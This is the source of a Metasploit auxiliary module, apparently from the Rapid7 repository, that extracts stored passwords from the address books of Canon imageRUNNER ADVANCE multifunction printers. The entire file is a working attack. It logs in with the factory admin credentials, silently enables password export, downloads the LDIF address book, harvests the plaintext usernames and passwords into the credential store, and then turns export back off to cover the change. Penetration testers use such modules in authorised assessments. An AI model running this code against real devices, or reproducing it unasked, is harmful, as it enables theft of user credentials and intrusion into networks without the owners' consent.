metasploit-framework/modules/auxiliary/scanner/printer/canon_iradv_pwd_extract.rb

216 lines
6.4 KiB
Ruby

#
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Canon IR-Adv Password Extractor',
'Description' => %q{
This module will extract the passwords from address books on various Canon IR-Adv mfp devices.
Tested models:
iR-ADV C2030,
iR-ADV 4045,
iR-ADV C5030,
iR-ADV C5235,
iR-ADV C5240,
iR-ADV 6055,
iR-ADV C7065
},
'Author' =>
[
'Deral "Percentx" Heiland',
'Pete "Bokojan" Arzamendi',
'William Vu',
'Dev Mohanty'
],
'License' => MSF_LICENSE
))
register_options(
[
OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", false]),
OptInt.new('ADDRSBOOK', [ true, 'The number of the address book to extract 1-11', 1]),
Opt::RPORT(8000),
OptString.new('USER', [ true, 'The default Admin user', '7654321']),
OptString.new('PASSWD', [ true, 'The default Admin password', '7654321']),
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20])
], self.class)
end
def run_host(ip)
print_status("Attempting to extract passwords from the address books on the MFP at #{rhost}")
login(ip)
end
#Authenticate to management function on Canon MFP and build needed cookies for dta harvesting
def login(ip)
vars_post = {
"uri" => "%2f",
"deptid" => "#{datastore['USER']}",
"password" => "#{datastore['PASSWD']}"
}
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/login'),
'vars_post' => vars_post
}, datastore['TIMEOUT'].to_i)
end
#grab Canon sessionid cookie
idcookie = res.nil? ? nil : res.get_cookies
if res.code == 301 || res.code == 302 && res.headers.include?('Location')
print_good("#{rhost} - SUCCESSFUL login with USER='#{datastore['USER']}' : PASSWORD='#{datastore['PASSWD']}'")
#grab Canon IR= session cookie
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri('/rps/nativetop.cgi?RUIPNxBundle=&CorePGTAG=PGTAG_CONF_ENV_PAP&Dummy=1400782981064'),
'headers' => {'Cookie' => "#{idcookie}"},
}, datastore['TIMEOUT'].to_i)
ircookie = res.nil? ? nil : res.get_cookies
cookies=("#{idcookie}; #{ircookie}")
set_allow(cookies)
extract(cookies, ip)
set_disallow(cookies)
else
print_error("Failed to login on #{rhost}. Please check the password for the #{datastore['USER']} account ")
end
end
# Set the allow password export to on
def set_allow(cookies)
vars_post = {
"ADRSEXPPSWDCHK" => "0",
"PageFlag" => "c_adrs.tpl",
"Flag" => "Exec_Data",
"CoreNXAction" => "./cadrs.cgi",
"CoreNXPage" => "c_adrexppass.tpl",
"CoreNXFlag" => "Init_Data",
"Dummy" => "1359048058115"
}
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/rps/cadrs.cgi'),
'vars_post' => vars_post,
'headers' => {'Cookie' => "#{cookies}"},
}, datastore['TIMEOUT'].to_i)
end
end
# Extract the adress book data and save out to loot
def extract(cookies, ip)
vars_post = {
"AID" => "#{datastore['ADDRSBOOK']}",
"ACLS" => "1",
"ENC_MODE" => "0",
"ENC_FILE" => "password",
"PASSWD" => "",
"PageFlag" => "",
"AMOD" => "",
"Dummy" => "1359047882596",
"ERR_PG_KIND_FLG" => "Adress_Export"
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/rps/abook.ldif'),
'vars_post' => vars_post,
'headers' => {'Cookie' => "#{cookies}"},
}, datastore['TIMEOUT'].to_i)
address_book = res.nil? ? nil : res.body
print_status("#{address_book}")
#Woot we got loot.
loot_name = "canon.iradv.addressbook"
loot_type = "text/plain"
loot_filename = "Canon-addressbook.text"
loot_desc = "Canon Addressbook Harvester"
p = store_loot(loot_name, loot_type, datastore['RHOST'], address_book , loot_filename, loot_desc)
print_status("Credentials saved in: #{p}")
harvest_ldif(address_book, ip)
end
# Reset the allow password export to off
def set_disallow(cookies)
vars_post = {
"ADRSEXPPSWDCHK" => "1",
"PageFlag" => "c_adrs.tpl",
"Flag" => "Exec_Data",
"CoreNXAction" => "./cadrs.cgi",
"CoreNXPage" => "c_adrexppass.tpl",
"CoreNXFlag" => "Init_Data",
"Dummy" => "1359048058115"
}
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri('/rps/cadrs.cgi'),
'vars_post' => vars_post,
'headers' => {'Cookie' => "#{cookies}"},
}, datastore['TIMEOUT'].to_i)
end
# Harvest Credential
def harvest_ldif(address_book, ip)
harvest_file(address_book, ip)
end
def harvest_credentials(mailaddress, pwd, ip)
return if mailaddress == nil
username_domain = mailaddress.split('@')
username = username_domain[0]
domain = username_domain[1]
service_data = {
address: Rex::Socket.getaddress(ip),
port: rport,
protocol: 'tcp',
service_name: ssl ? 'https' : 'http',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: self.fullname,
username: username,
private_data: pwd,
private_type: :password
}
create_credential(credential_data.merge(service_data))
print_good "Domain: #{domain}\nUser: #{username}\nPassword: #{pwd}\n\r"
end
def harvest_file(ldif, ip)
users = []
ldif.split("\r\n\r\n").each do |user|
user_attributes = {}
user.split("\r\n").each do |attribute|
attribute_array = attribute.split(": ")
attr_name = attribute_array.shift
attr_value = attribute_array.join
user_attributes[attr_name] = attr_value
end
harvest_credentials((user_attributes['username'] || user_attributes['mailaddress'] || user_attributes['mail']), user_attributes['pwd'], ip)
users << user_attributes
end
end
end